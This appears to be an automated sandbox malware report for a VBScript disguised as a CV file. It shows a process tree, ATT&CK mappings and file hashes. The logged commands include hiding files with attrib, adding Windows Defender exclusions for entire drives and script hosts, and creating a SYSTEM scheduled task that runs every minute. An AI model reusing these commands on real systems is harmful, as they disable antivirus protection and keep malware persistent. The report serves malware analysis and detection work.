  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
    3⤵
    - Views/modifies file attributes
    PID:4448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:4300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:3352
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c dir "C:\Users\Public\WindowsUpdate"
  2⤵
  - Executes a command shell one-liner
  PID:376

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo
1⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Windows\TEMP\kevinulc_msupdate_admin_marker.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Windows\TEMP\kevinulc_msupdate_admin_marker.txt"
    3⤵
    - Views/modifies file attributes
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:5012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','C:\Users\Public\WindowsUpdate' ; Add-MpPreference -ExclusionProcess 'wscript.exe','cscript.exe','powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 2>nul | findstr "S-1-5-21"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
    3⤵
    PID:3280
- - C:\Windows\system32\findstr.exe
    findstr "S-1-5-21"
    3⤵
    PID:3268
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /tn MicrosoftNetworkCheckService /tr "C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo" /sc minute /mo 1 /st 00:08 /ru SYSTEM /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\attrib.exe
    attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
    3⤵
    - Views/modifies file attributes
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
    3⤵
    - Views/modifies file attributes
    PID:4448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1900
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:4300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2960
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2836
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:3724
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c dir "C:\Users\Public\WindowsUpdate"
  2⤵
  - Executes a command shell one-liner
  PID:3692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_esvb4joa.gp5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_esvb4joa.gp5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

kevinulc_msupdate_admin_marker.txt

Path C:\Users\Admin\AppData\Local\Temp\kevinulc_msupdate_admin_marker.txt
Size 37B
SHA256 94c40d3ce8299190f135e1fa64e7a4f985a384ddf8e689e671c610b7ec1e2a74
MD5 60949ad22549dfd21b960bd8907259a2
SHA1 ed7741364205cb4b849f63de23afe252623ef7d5
SHA512 42d555963da539fe9f37c6716ee13ed15c4f6f9184216e25873a737b631f152e33eec73b8a0ef8c69fc264ede0c21c76a3739e91d9cf200eb3809d59ddf85131
MD5 SHA1 SHA512

Submit Download

.setup_init

Path C:\Users\Public\WindowsUpdate\.setup_init
Size 42B
SHA256 a859ae71c3ffc9ec53abf1fcbe7c2df36d69ca880bbf6bb1f4990cf56a1b9f75
MD5 39fe8b10678f7fb5d1fa498ef4c42e95
SHA1 5533548b6eb5346b46c1b024f9e959a4d2a16f16
SHA512 5a04f8e5076face472fe849d16fda587efa34e323a583e1649d58c3c1f9f053c9664505d3e46d86b682eb9b8290c636c8e21883c8bd11e5e553f3602cbd7ed9e
MD5 SHA1 SHA512

Submit Download

Bahati_Lulu_CV.vbs

Path C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs
Size 10.1MB
SHA256 dc97185bc23c670b69bdcce7038e903901246578a50b35fbe2a8f8a93fb47d55
MD5 22dc2ca3fa5f09c1e66c6c534458c848
SHA1 904cb0f07106e3319204b2f27751b55fd13ea27b
SHA512 3fe96bdd71077bbe0db6e559461ea222e13d62b0020703a2b7e2af747dc4dcd58e6c4f7134032797fc794eaf9e12237b3829631a4ed1b9b10333b6bacfba8d93
SSDEEP 3072:BHmx9+00T3I8WwNgS/sdO4ynbR44Xoh9Kh7l1W9KQx+ZEdVhHNVb1XbK+BureUtT:R
TLSH
T148B631B64202A2B004B300A16D4F93B5F1D24E6ED3217DBB1DBE76A03B7651E77A74D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 265de0da001cd00582f85f5ed3cf63fc58ab8a251c4ca8a9278202f8b903be89
MD5 bd2987064d81a3973ae3f64105223662
SHA1 522775f49f1c233f1281b739615f15a90fc0913f
SHA512 69f1bfb71cd0ee9085bb614c240489fa80e9d5716e6bca335659749efc68a88ddacd5b22d88b3294bea0b3369c3cc5b16904214198ac9da8c3f02129d0cbab18
TLSH
T138218627F3DC8A21CC86123A109D9C10766683C7819ECF9F6BC0D614A0BF9C8CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2952-57-0x000001949E8A0000-0x000001949E955000-memory.dmp

Download

memory/4348-33-0x0000028167170000-0x000002816717A000-memory.dmp

Download

memory/4348-32-0x0000028167920000-0x000002816793C000-memory.dmp

Download

memory/4348-34-0x0000028167950000-0x000002816796A000-memory.dmp

Download

memory/4348-35-0x00000281015D0000-0x00000281015D8000-memory.dmp

Download

memory/4348-36-0x00000281015E0000-0x00000281015E6000-memory.dmp

Download

memory/4348-37-0x0000028167900000-0x000002816790A000-memory.dmp

Download

memory/4348-31-0x0000028167160000-0x000002816716A000-memory.dmp

Download

memory/4348-30-0x00000281013D0000-0x0000028101485000-memory.dmp

Download

memory/4348-29-0x00000281013B0000-0x00000281013CC000-memory.dmp

Download

memory/4384-10-0x000001AEF8880000-0x000001AEF88A2000-memory.dmp

Download